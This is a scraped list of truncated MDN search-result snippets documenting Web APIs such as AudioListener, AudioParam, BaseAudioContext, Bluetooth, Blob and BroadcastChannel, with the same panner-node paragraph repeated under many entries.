nteractive"; audiocontextoptions.latencyhint = 0.2; var latencyhint = audiocontextoptions.latencyhint; value the preferred maximum latency for the audiocontext. there are two ways this value can be specified. the best way to specify the preferred latency is to use a value form the string enum audiocontextlatencycategory. in fact, the default value of latencyhint is "interactive" (meaning the browser should try to use the lowest possible and reliable latency it can). the value can also be specified as a double-precision floating-point value, specifying the preferred maximum latency in seconds. this provides more precise control over the balance between audio latency and device energy usage. to determine the actual latency of the context after creating it, check the value of the context's ...
AudioListener.dopplerFactor - Web APIs
hich set new values for the panner position via the positionpanner() function. to see a complete implementation, check out our panner-node example (view the source code) — this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound changes! note how we have used some feature detection to either give the browser the newer property values (like audiolistener.forwardx) for setting position, etc. if it supports those, or older methods (like audiolistener.setorientation()) if it still supports those but not the new properties. // set up listener and panner position information var width = window.innerwidth; var height = window.innerheight; var xpos = math.floor(width/2); var ypos = math.floor(height/2); ...
AudioListener.forwardX - Web APIs
hich set new values for the panner position via the positionpanner() function. to see a complete implementation, check out our panner-node example (view the source code) — this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound changes! note how we have used some feature detection to either give the browser the newer property values (like audiolistener.forwardx) for setting position, etc. if it supports those, or older methods (like audiolistener.setorientation()) if it still supports those but not the new properties. // set up listener and panner position information var width = window.innerwidth; var height = window.innerheight; var xpos = math.floor(width/2); var ypos = math.floor(height/2); ...
AudioListener.forwardY - Web APIs
hich set new values for the panner position via the positionpanner() function. to see a complete implementation, check out our panner-node example (view the source code) — this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound changes! note how we have used some feature detection to either give the browser the newer property values (like audiolistener.forwardx) for setting position, etc. if it supports those, or older methods (like audiolistener.setorientation()) if it still supports those but not the new properties. // set up listener and panner position information var width = window.innerwidth; var height = window.innerheight; var xpos = math.floor(width/2); var ypos = math.floor(height/2); ...
AudioListener.forwardZ - Web APIs
hich set new values for the panner position via the positionpanner() function. to see a complete implementation, check out our panner-node example (view the source code) — this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound changes! note how we have used some feature detection to either give the browser the newer property values (like audiolistener.forwardx) for setting position, etc. if it supports those, or older methods (like audiolistener.setorientation()) if it still supports those but not the new properties. // set up listener and panner position information var width = window.innerwidth; var height = window.innerheight; var xpos = math.floor(width/2); var ypos = math.floor(height/2); ...
AudioListener.positionX - Web APIs
hich set new values for the panner position via the positionpanner() function. to see a complete implementation, check out our panner-node example (view the source code) — this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound changes! note how we have used some feature detection to either give the browser the newer property values (like audiolistener.forwardx) for setting position, etc. if it supports those, or older methods (like audiolistener.setorientation()) if it still supports those but not the new properties. // set up listener and panner position information var width = window.innerwidth; var height = window.innerheight; var xpos = math.floor(width/2); var ypos = math.floor(height/2); ...
AudioListener.positionY - Web APIs
hich set new values for the panner position via the positionpanner() function. to see a complete implementation, check out our panner-node example (view the source code) — this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound changes! note how we have used some feature detection to either give the browser the newer property values (like audiolistener.forwardx) for setting position, etc. if it supports those, or older methods (like audiolistener.setorientation()) if it still supports those but not the new properties. // set up listener and panner position information var width = window.innerwidth; var height = window.innerheight; var xpos = math.floor(width/2); var ypos = math.floor(height/2); ...
AudioListener.positionZ - Web APIs
hich set new values for the panner position via the positionpanner() function. to see a complete implementation, check out our panner-node example (view the source code) — this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound changes! note how we have used some feature detection to either give the browser the newer property values (like audiolistener.forwardx) for setting position, etc. if it supports those, or older methods (like audiolistener.setorientation()) if it still supports those but not the new properties. // set up listener and panner position information var width = window.innerwidth; var height = window.innerheight; var xpos = math.floor(width/2); var ypos = math.floor(height/2); ...
AudioListener.setOrientation() - Web APIs
hich set new values for the panner position via the positionpanner() function. to see a complete implementation, check out our panner-node example (view the source code) — this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound changes! note how we have used some feature detection to either give the browser the newer property values (like audiolistener.forwardx) for setting position, etc. if it supports those, or older methods (like audiolistener.setorientation()) if it still supports those but not the new properties. // set up listener and panner position information var width = window.innerwidth; var height = window.innerheight; var xpos = math.floor(width/2); var ypos = math.floor(height/2); ...
AudioListener.setPosition() - Web APIs
hich set new values for the panner position via the positionpanner() function. to see a complete implementation, check out our panner-node example (view the source code) — this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound changes! note how we have used some feature detection to either give the browser the newer property values (like audiolistener.forwardx) for setting position, etc. if it supports those, or older methods (like audiolistener.setorientation()) if it still supports those but not the new properties. // set up listener and panner position information var width = window.innerwidth; var height = window.innerheight; var xpos = math.floor(width/2); var ypos = math.floor(height/2); ...
AudioListener.speedOfSound - Web APIs
hich set new values for the panner position via the positionpanner() function. to see a complete implementation, check out our panner-node example (view the source code) — this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound changes! note how we have used some feature detection to either give the browser the newer property values (like audiolistener.forwardx) for setting position, etc. if it supports those, or older methods (like audiolistener.setorientation()) if it still supports those but not the new properties. // set up listener and panner position information var width = window.innerwidth; var height = window.innerheight; var xpos = math.floor(width/2); var ypos = math.floor(height/2); ...
AudioListener.upX - Web APIs
Web › API › AudioListener › upX
hich set new values for the panner position via the positionpanner() function. to see a complete implementation, check out our panner-node example (view the source code) — this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound changes! note how we have used some feature detection to either give the browser the newer property values (like audiolistener.forwardx) for setting position, etc. if it supports those, or older methods (like audiolistener.setorientation()) if it still supports those but not the new properties. // set up listener and panner position information var width = window.innerwidth; var height = window.innerheight; var xpos = math.floor(width/2); var ypos = math.floor(height/2); ...
AudioListener.upY - Web APIs
Web › API › AudioListener › upY
hich set new values for the panner position via the positionpanner() function. to see a complete implementation, check out our panner-node example (view the source code) — this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound changes! note how we have used some feature detection to either give the browser the newer property values (like audiolistener.forwardx) for setting position, etc. if it supports those, or older methods (like audiolistener.setorientation()) if it still supports those but not the new properties. // set up listener and panner position information var width = window.innerwidth; var height = window.innerheight; var xpos = math.floor(width/2); var ypos = math.floor(height/2); ...
AudioListener.upZ - Web APIs
Web › API › AudioListener › upZ
hich set new values for the panner position via the positionpanner() function. to see a complete implementation, check out our panner-node example (view the source code) — this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound changes! note how we have used some feature detection to either give the browser the newer property values (like audiolistener.forwardx) for setting position, etc. if it supports those, or older methods (like audiolistener.setorientation()) if it still supports those but not the new properties. // set up listener and panner position information var width = window.innerwidth; var height = window.innerheight; var xpos = math.floor(width/2); var ypos = math.floor(height/2); ...
AudioListener - Web APIs
hich set new values for the panner position via the positionpanner() function. to see a complete implementation, check out our panner-node example (view the source code) — this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound changes! note how we have used some feature detection to either give the browser the newer property values (like audiolistener.forwardx) for setting position, etc. if it supports those, or older methods (like audiolistener.setorientation()) if it still supports those but not the new properties. // set up listener and panner position information var width = window.innerwidth; var height = window.innerheight; var xpos = math.floor(width/2); var ypos = math.floor(height/2); ...
AudioNode.channelInterpretation - Web APIs
put.l + 0.7071 * input.c output.r = input.r + 0.7071 * input.c output.sl = input.sl output.sr = input.sr other, non-standard layouts non-standard channel layouts are handled as if channelinterpretation is set to discrete. the specification explicitly allows the future definition of new speaker layouts. this fallback is therefore not future proof as the behavior of the browsers for a specific number of channels may change in the future. discrete any (x) any (y) where x<y up-mix discrete channels. fill each output channel with its input counterpart, that is the input channel with the same index. channels with no corresponding input channels are left silent. any (x) any (y) where x>y down-mix discrete channels. fill each output ...
AudioNode.connect() - Web APIs
Web › API › AudioNode › connect
o the first audionode, creating a cycle. this is allowed only if there is at least one delaynode in the cycle. otherwise, a notsupportederror exception is thrown. this parameter is not allowed if the destination is an audioparam. return value if the destination is a node, connect() returns a reference to the destination audionode object, allowing you to chain multiple connect() calls. in some browsers, older implementations of this interface return undefined. if the destination is an audioparam, connect() returns undefined. exceptions indexsizeerror the value specified as outputindex or inputindex doesn't correspond to an existing input or output. invalidaccesserror the destination node is not part of the same audio context as the source node. notsupportederror the specified conne...
AudioNode - Web APIs
Web › API › AudioNode
cibels = -25; analysernode.mindecibels = -60; analysernode.smoothingtimeconstant = 0.5; you are free to use either constructors or factory methods, or mix both, however there are advantages to using the constructors: all parameters can be set during construction time and don't need to be set individually. you can sub-class an audio node. while the actual processing is done internally by the browser and cannot be altered, you could write a wrapper around an audio node to provide custom properties and methods. slightly better performance: in both chrome and firefox, the factory methods call the constructors internally. keep in mind that microsoft edge does not yet appear to support the constructors; it will throw a "function expected" error when you use the constructors. brief history: ...
AudioParam.cancelAndHoldAtTime() - Web APIs
a double representing the time (in seconds) after the audiocontext was first created after which all scheduled changes will be cancelled. return value a reference to the audioparam it was called on. specifications specification status comment web audio apithe definition of 'cancelandholdattime()' in that specification. working draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetcancelandholdattimechro...
AudioParam.exponentialRampToValueAtTime() - Web APIs
man ear works. syntax var audioparam = audioparam.exponentialramptovalueattime(value, endtime) parameters value a floating point number representing the value the audioparam will ramp to by the given time. endtime a double representing the exact time (in seconds) after the ramping starts that the changing of the value will stop. returns a reference to this audioparam object. in some browsers older implementations of this interface return void. examples in this example, we have a media source with two control buttons (see the audio-param repo for the source code, or view the example live.) when these buttons are pressed, exponentialramptovalueattime() is used to fade the gain value up to 1.0, and down to 0, respectively. this is pretty useful for fade in/fade out effects: // cre...
AudioParam.linearRampToValueAtTime() - Web APIs
endtime parameter. syntax var audioparam = audioparam.linearramptovalueattime(value, endtime) parameters value a floating point number representing the value the audioparam will ramp to by the given time. endtime a double representing the exact time (in seconds) after the ramping starts that the changing of the value will stop. returns a reference to this audioparam object. in some browsers older implementations of this interface return void. example in this example, we have a media source with two control buttons (see the audio-param repo for the source code, or view the example live.) when these buttons are pressed, linearramptovalueattime() is used to fade the gain value up to 1.0, and down to 0, respectively. this is pretty useful for fade in/fade out effects, although a...
AudioParam.setTargetAtTime() - Web APIs
n, in the same time coordinate system as audiocontext.currenttime. if it is less than or equal to audiocontext.currenttime, the parameter will start changing immediately. timeconstant the time-constant value, given in seconds, of an exponential approach to the target value. the larger this value is, the slower the transition will be. returns a reference to this audioparam object. some older browser implementations of this interface return void. description the change starts at the time specified in starttime and exponentially moves towards the value given by the target parameter. the decay rate as defined by the timeconstant parameter is exponential; therefore the value will never reach target completely, but after each timestep of length timeconstant, the value will have approached tar...
AudioParam.setValueAtTime() - Web APIs
param.setvalueattime(value, starttime) parameters value a floating point number representing the value the audioparam will change to at the given time. starttime a double representing the time (in seconds) after the audiocontext was first created that the change in value will happen. a typeerror is thrown if this value is negative. returns a reference to this audioparam object. in some browsers older implementations of this interface return void. examples this simple example features a media element source with two control buttons (see our webaudio-examples repo for the source code, or view the example live). when the buttons are pressed, the currgain variable is incremented/decremented by 0.25, then the setvalueattime() method is used to set the gain value equal to currgain, one s...
AudioParam.setValueCurveAtTime() - Web APIs
irst created that the change in value will happen. if this value is lower than audiocontext.currenttime, it is clamped to currenttime. duration a double representing the total time (in seconds) over which the parameter's value will change following the specified curve. the specified values are spaced equally along this duration. return value a reference to this audioparam object. some older browser implementations of this interface return undefined. exceptions invalidstateerror the specified array of values has fewer than 2 items in it. rangeerror the specified starttime is either negative or a non-finite value, or duration is not a finite, strictly positive number. typeerror one or more of the values in the values array is non-finite. non-finite values are nan, infinity, and -in...
AudioParam.value - Web APIs
Web › API › AudioParam › value
audioparam as needed given the current time and any established time-based parameter value changes. upon first creating the parameter, its value is set to its default value, given by audioparam.defaultvalue. this is the parameter's value at a time of 0.0 seconds, and will remain the parameter's value until the first render quantum in which the value is altered. during each render quantum, the browser does the following things related to managing the value of a parameter: if the value setter has been used, the parameter's value is changed to the value given. if the current time equals or exceeds the time specified by a previous call to setvalueattime(), the value is changed to the value passed into setvalueattime(). if any gradiated or ramped value changing methods have been called and ...
AudioScheduledSourceNode.onended - Web APIs
rnode, or constantsourcenode) determines that it has stopped playing. the ended event is only sent to a node configured to loop automatically when the node is stopped using its stop() method. this is the case, for example, when using an audiobuffersourcenode with its loop property set to true. syntax audioscheduledsourcenode.onended = eventhandler; value a function which is called by the browser when the ended event occurs on the audioscheduledsourcenode. the function receives as input a single parameter, which is an object of type event describing the event that occurred. examples in this simple example, an event listener for the ended event is set up to enable a "start" button in the user interface when the node stops playing. node.onended = function(event) { document.getelement...
AudioTrackList.length - Web APIs
of type audiotrack. example this snippet gets the number of audio tracks in the first <video> element found in the dom by queryselector(). var videoelem = document.queryselector("video"); var numaudiotracks = 0; if (videoelem.audiotracks) { numaudiotracks = videoelem.audiotracks.length; } note that this sample checks to be sure htmlmediaelement.audiotracks is defined, to avoid failing on browsers without support for audiotrack. specifications specification status comment html living standardthe definition of 'audiotracklist.length' in that specification. living standard html5the definition of 'audiotracklist.length' in that specification. recommendation ...
AudioWorkletNode.onprocessorerror - Web APIs
once an exception is thrown, the processor (and thus the node) will output silence throughout its lifetime. ...
AudioWorkletProcessor.process - Web APIs
oolean value indicating whether or not to force the audioworkletnode to remain active even if the user agent's internal logic would otherwise decide that it's safe to shut down the node. the returned value lets your processor have influence over the lifetime policy of the audioworkletprocessor and the node that owns it. if the combination of the return value and the state of the node causes the browser to decide to stop the node, process() will not be called again. returning true forces the web audio api to keep the node alive, while returning false allows the browser to terminate the node if it is neither generating new audio data nor receiving data through its inputs that it is processing. the 3 most common types of audio node are: a source of output. an audioworkletprocessor implement...
AuthenticatorAssertionResponse.authenticatorData - Web APIs
ash), a signature counter, test of user presence, user verification flags, and any extensions processed by the authenticator. syntax var authnrdata = authenticatorassertionresponse.authenticatordata; value an arraybuffer that has a arraybuffer.bytelength of at least 37 bytes, containing the following fields: rpidhash (32 bytes) - a sha256 hash of the relying party id that was seen by the browser. the server will ensure that this hash matches a hash of its own origin in order to prevent phishing or other man-in-the-middle attacks. flags (1 bytes) - a bitfield that indicates various attributes that were asserted by the authenticator. the bits are as follows, where "bit 0" is the least significant bit and all bits not specifically mentioned below are "reserved for future use": bit ...
AuthenticatorResponse.clientDataJSON - Web APIs
ntial is retrieved or "webauthn.create" when a new credential is created. challenge the base64url encoded version of the cryptographic challenge sent from the relying party's server. the original value is passed via publickeycredentialrequestoptions.challenge or publickeycredentialcreationoptions.challenge. origin the fully qualified origin of the requester which has been given by the client/browser to the authenticator. we should expect the relying party's id to be a suffix of this value. tokenbindingid optional an object describing the state of the token binding protocol for the communication with the relying party. it has two properties: status: a string which is either "supported" which indicates the client support token binding but did not negotiate with the relying party or ...
AuthenticatorResponse - Web APIs
interfaces based on authenticatorresponse below is a list of interfaces based on the authenticatorresponse interface. ...
BaseAudioContext.createBuffer() - Web APIs
user agents must support at least 32 channels. length an integer representing the size of the buffer in sample-frames (where each sample-frame is the size of a sample in bytes multiplied by numofchannels). to determine the length to use for a specific number of seconds of audio, use numseconds * samplerate. samplerate the sample rate of the linear audio data in sample-frames per second. all browsers must support sample rates in at least the range 8,000 hz to 96,000 hz. returns an audiobuffer configured based on the specified options. exceptions notsupportederror one or more of the options are negative or otherwise has an invalid value (such as numberofchannels being higher than supported, or a samplerate outside the nominal range). rangeerror there isn't enough memory available ...
BaseAudioContext.createConstantSource() - Web APIs
naural (one-channel) sound signal whose samples all have the same value. syntax var constantsourcenode = audiocontext.createconstantsource() parameters none. returns a constantsourcenode instance. specifications specification status comment web audio apithe definition of 'createconstantsource()' in that specification. working draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetcreateconstantsourcechr...
BaseAudioContext.createGain() - Web APIs
mute.onclick = voicemute; function voicemute() { if(mute.id == "") { // 0 means mute. if you still hear something, make sure you haven't // connected your source into the output in addition to using the gainnode. gainnode.gain.setvalueattime(0, audioctx.currenttime); mute.id = "activated"; mu...
BaseAudioContext.createPanner() - Web APIs
hich set new values for the panner position via the positionpanner() function. to see a complete implementation, check out our panner-node example (view the source code) — this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound changes! note how we have used some feature detection to either give the browser the newer property values (like audiolistener.forwardx) for setting position, etc. if it supports those, or older methods (like audiolistener.setorientation()) if it still supports those but not the new properties. // set up listener and panner position information var width = window.innerwidth; var height = window.innerheight; var xpos = math.floor(width/2); var ypos = math.floor(height/2); ...
BaseAudioContext.createPeriodicWave() - Web APIs
which is the value at which the oscillator starts. 0 is good here, because we want to start the curve at the middle of the [-1.0; 1.0] range. the second and subsequent values are sine and cosine components. you can think of it as the result of a fourier transform, where you get frequency domain values from time domain value. here, with createperiodicwave(), you specify the frequencies, and the browser performs an inverse fourier transform to get a time domain buffer for the frequency of the oscillator. here, we only set one component at full volume (1.0) on the fundamental tone, so we get a sine wave. the coefficients of the fourier transform should be given in ascending order (i.e. (a+bi)ei,(c+di)e2i,(f+gi)e3i\left(a+bi\right)e^{i} , \left(c+di\right)e^{2i} , \left(f+gi\right)e^{3i} etc.
BaseAudioContext.currentTime - Web APIs
ty of the baseaudiocontext interface returns a double representing an ever-increasing hardware timestamp in seconds that can be used for scheduling audio playback, visualizing timelines, etc. it starts at 0. syntax var curtime = baseaudiocontext.currenttime; example var audiocontext = window.audiocontext || window.webkitaudiocontext; var audioctx = new audiocontext(); // older webkit/blink browsers require a prefix ... console.log(audioctx.currenttime); reduced time precision to offer protection against timing attacks and fingerprinting, the precision of audioctx.currenttime might get rounded depending on browser settings. in firefox, the privacy.reducetimerprecision preference is enabled by default and defaults to 20us in firefox 59; in 60 it will be 2ms. // reduced time precisi...
BaseAudioContext.destination - Web APIs
actual audio-rendering device such as your device's speakers. syntax baseaudiocontext.destination; value an audiodestinationnode. example note: for a full example implementation, see one of our web audio demos on the mdn github repo, like voice-change-o-matic. var audiocontext = window.audiocontext || window.webkitaudiocontext; var audioctx = new audiocontext(); // older webkit/blink browsers require a prefix var oscillatornode = audioctx.createoscillator(); var gainnode = audioctx.creategain(); oscillatornode.connect(gainnode); gainnode.connect(audioctx.destination); specifications specification status comment web audio apithe definition of 'destination' in that specification. working draft ...
BaseAudioContext.listener - Web APIs
ntext interface returns an audiolistener object that can then be used for implementing 3d audio spatialization. syntax baseaudiocontext.listener; value an audiolistener object. example note: for a full web audio spatialization example, see our panner-node demo. var audiocontext = window.audiocontext || window.webkitaudiocontext; var audioctx = new audiocontext(); // older webkit/blink browsers require a prefix ... var mylistener = audioctx.listener; specifications specification status comment web audio apithe definition of 'listener' in that specification. working draft ...
BaseAudioContext.sampleRate - Web APIs
udio context. this limitation means that sample-rate converters are not supported. syntax baseaudiocontext.samplerate; value a floating point number indicating the audio context's sample rate, in samples per second. example note: for a full web audio example implementation, see one of our web audio demos on the mdn github repo, like panner-node. try entering audioctx.samplerate into your browser console. var audiocontext = window.audiocontext || window.webkitaudiocontext; var audioctx = new audiocontext(); // older webkit/blink browsers require a prefix ... console.log(audioctx.samplerate); specifications specification status comment web audio apithe definition of 'samplerate' in that specification. working draft ...
BaseAudioContext - Web APIs
ontext.decodeaudiodata() asynchronously decodes audio file data contained in an arraybuffer. in this case, the arraybuffer is usually loaded from an xmlhttprequest's response attribute after setting the responsetype to arraybuffer. this method only works on complete files, not fragments of audio files. ...
BasicCardRequest.supportedNetworks - Web APIs
discover', 'mir', 'unionpay'], supportedtypes: ['credit', 'debit'] } }]; var details = { ... }; var options = { ... }; var request = new paymentrequest(supportedinstruments, details, options); specifications specification status comment basic card paymentthe definition of 'supportednetworks' in that specification. working draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetsupportednetworkschrome...
BasicCardRequest - Web APIs
t: {currency: 'usd', value: '65.00'} } ], shippingoptions: [ { id: 'standard', label: 'standard shipping', amount: {currency: 'usd', value: '0.00'}, selected: true } ] }; var options = {requestshipping: true}; try { var request = new paymentrequest(supportedinstruments, details, options); // add event listeners here. // call show() to trigger the browser's payment flow. request.show().then(function(instrumentresponse) { // do something with the response from the ui. }) .catch(function(err) { // do something with the error from request.show(). }); } catch (e) { // catch any other errors. } once the payment flow has been triggered using paymentrequest.show() and the promise resolves successfully, the paymentresponse object avai...
BatteryManager.chargingTime - Web APIs
syntax var time = battery.chargingtime on return, time is the remaining time in seconds until the battery, which is a batterymanager object, is fully charged, or 0 if the battery is already fully charged. if the battery is currently discharging, this value is infinity. ...
BatteryManager.dischargingTime - Web APIs
syntax var time = battery.dischargingtime on return, time is the remaining time in seconds until the battery, which is a batterymanager object, is fully discharged and the system will suspend. this value is infinity if the battery is currently charging rather than discharging, or if the system is unable to report the remaining discharging time. ...
BeforeInstallPromptEvent.prompt() - Web APIs
prompt at a time of their own choosing. syntax beforeinstallpromptevent.prompt() parameters none. returns an empty promise. example var istoosoon = true; window.addeventlistener("beforeinstallprompt", function(e) { if (istoosoon) { e.preventdefault(); // prevents prompt display // prompt later instead: settimeout(function() { istoosoon = false; e.prompt(); // throws if called more than once or default not prevented }, 10000); } // the event was re-dispatched in response to our request // ... }); ...
BiquadFilterNode() - Web APIs
e frequency where the center of the phase transition occurs. viewed another way, this is the frequency with maximal group delay. gain: not used. return value a new biquadfilternode object instance. specifications specification status comment web audio apithe definition of 'biquadfilternode()' in that specification. working draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetbiquadfilternode() const...
Blob.arrayBuffer() - Web APIs
Web › API › Blob › arrayBuffer
rraybuffer(); blob.arraybuffer().then(buffer => /* process the arraybuffer */); var buffer = await blob.arraybuffer(); parameters none. returns a promise that resolves with an arraybuffer that contains the blob's data in binary form. exceptions while this method doesn't throw exceptions, it may reject the promise. this can happen, for example, if the reader used to fetch the blob's data throws an exception. any exceptions thrown while getting the data will be converted into rejections. usage notes while similar to the filereader.readasarraybuffer() method, arraybuffer() returns a promise rather than being an event-based api, as is the case with the filereader interface's method. specifications specification status comment file apithe definition of 'blob.arra...
Blob - Web APIs
Web › API › Blob
extracting data from a blob one way to read content from a blob is to use a filereader. the following code reads the content of a blob as a typed array: const reader = new filereader(); reader.addeventlistener('loadend', () => { // reader.result contains the contents of blob as a typed array }); reader.readasarraybuffer(blob); another way to read content from a b...
BlobEvent.timecode - Web APIs
unk in the first blobevent produced by this recorder. note that the timecode in the first produced blobevent does not need to be zero. syntax var timecode = blobevent.timecode value a domhighrestimestamp. specifications specification status comment mediastream recordingthe definition of 'timecode' in that specification. working draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internettimecode experimentalch...
BluetoothCharacteristicProperties - Web APIs
s.addeventlistener('characteristicvaluechanged', function(event) { console.log(`received heart rate measurement: ${event.target.value}`); } await characteristic.startnotifications(); } specifications specification status comment web bluetooththe definition of 'bluetoothcharacteristicproperties' in that specification. draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetbluetoothcharacteristic...
BluetoothRemoteGATTCharacteristic.readValue() - Web APIs
syntax bluetoothremotegattcharacteristic.readvalue().then(function(dataview) { ... ...
BluetoothRemoteGATTCharacteristic - Web APIs
thgattdescriptor for a given descriptor uuid. bluetoothremotegattcharacteristic.getdescriptors() returns a promise that resolves to an array of all bluetoothgattdescriptor objects for a given descriptor uuid. bluetoothremotegattcharacteristic.readvalue() returns a promise that resolves to an arraybuffer holding a duplicate of the value property if it is available and supported. otherwise it throws an error. bluetoothremotegattcharacteristic.writevalue() sets the value property to the bytes contained in an arraybuffer and returns a promise. bluetoothremotegattcharacteristic.startnotifications() returns a promise when navigator.bluetooth is added to the active notification context. bluetoothremotegattcharacteristic.stopnotifications() returns a promise when navigator.bluetooth is remov...
characteristic - Web APIs
erty returns the bluetoothremotegattcharacteristic this descriptor belongs to. syntax var characteristic = bluetoothremotegattcharacteristic.characteristic returns an instance of bluetoothremotegattcharacteristic. specifications specification status comment web bluetooththe definition of 'characteristic' in that specification. draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetcharacteristic experime...
readValue() - Web APIs
the bluetoothremotegattdescriptor.readvalue() method returns a promise that resolves to an arraybuffer holding a duplicate of the value property if it is available and supported. otherwise it throws an error. syntax bluetoothremotegattdescriptor.readvalue().then(function(value[]) { ... }) returns a promise that resolves to an arraybuffer. specifications specification status comment web bluetooththe definition of 'readvalue()' in that specification. draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreropera...
uuid - Web APIs
eturns the uuid of the characteristic descriptor, for example '00002902-0000-1000-8000-00805f9b34fb' for theclient characteristic configuration descriptor. syntax var uuid = bluetoothremotegattdescriptor.uuid returns a uuid. specifications specification status comment web bluetooththe definition of 'uuid' in that specification. draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetuuid experimentalchrome...
value - Web APIs
rraybuffer containing the currently cached descriptor value. this value gets updated when the value of the descriptor is read. syntax var characteristic = bluetoothremotegattdescriptor.characteristic returns an arraybuffer. specifications specification status comment web bluetooththe definition of 'value' in that specification. draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetvalue experimentalchrom...
writeValue() - Web APIs
an arraybuffer and returns a promise. syntax bluetoothremotegattdescriptor.writevalue(array[]).then(function() { ... }) parameters array sets the value with the bytes contained in the array. returns a promise. specifications specification status comment web bluetooththe definition of 'writevalue()' in that specification. draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetwritevalue experimental...
BroadcastChannel() - Web APIs
the broadcastchannel() constructor creates a new broadcastchannel and connects it to the underlying channel. note: this feature is available in web workers. syntax channel = new broadcastchannel(channel); values channel is a domstring representing the name of the channel; there is one single channel with this name for all browsing contexts with the same origin. example // create a new channel listening to the "internal_notification" channel. var bc = new broadcastchannel('internal_notification'); bc.postmessage('new listening connected!'); specifications specification status comment html living standardthe definition of 'broadcastchannel()' in that specification. living standard initial definition. ...
BroadcastChannel.close() - Web APIs
note: this feature is available in web workers. ...
BroadcastChannel: message event - Web APIs
nmessage examples live example in this example there's a "sender" <iframe> that broadcasts the contents of a <textarea> when the user clicks a button. there are two "receiver" iframes that listen to the broadcast message and write the result into a <div> element. ...
BroadcastChannel.onmessage - Web APIs
note: this feature is available in web workers. syntax channel.onmessage = function; values function is the name of a user-defined function, without the () suffix or any parameters, or an anonymous function declaration, such as function(event) {...}. ...
BroadcastChannel.postMessage() - Web APIs
the message is transmitted as a message event targeted at each broadcastchannel bound to the channel. note: this feature is available in web workers. ...
BroadcastChannel - Web APIs
it allows communication between different documents (in different windows, tabs, frames or iframes) of the same origin. messages are broadcasted via a message event fired at all broadcastchannel objects listening to the channel. note: this feature is available in web workers. ...
ByteLengthQueuingStrategy - Web APIs
blestream({ start(controller) { ... }, pull(controller) { ... }, cancel(err) { console.log("stream error:", err); } }, queueingstrategy); var size = queueingstrategy.size(chunk); specifications specification status comment streamsthe definition of 'bytelengthqueuingstrategy' in that specification. living standard initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetbytelengthqueuingstrate...
CSS.registerProperty() - Web APIs
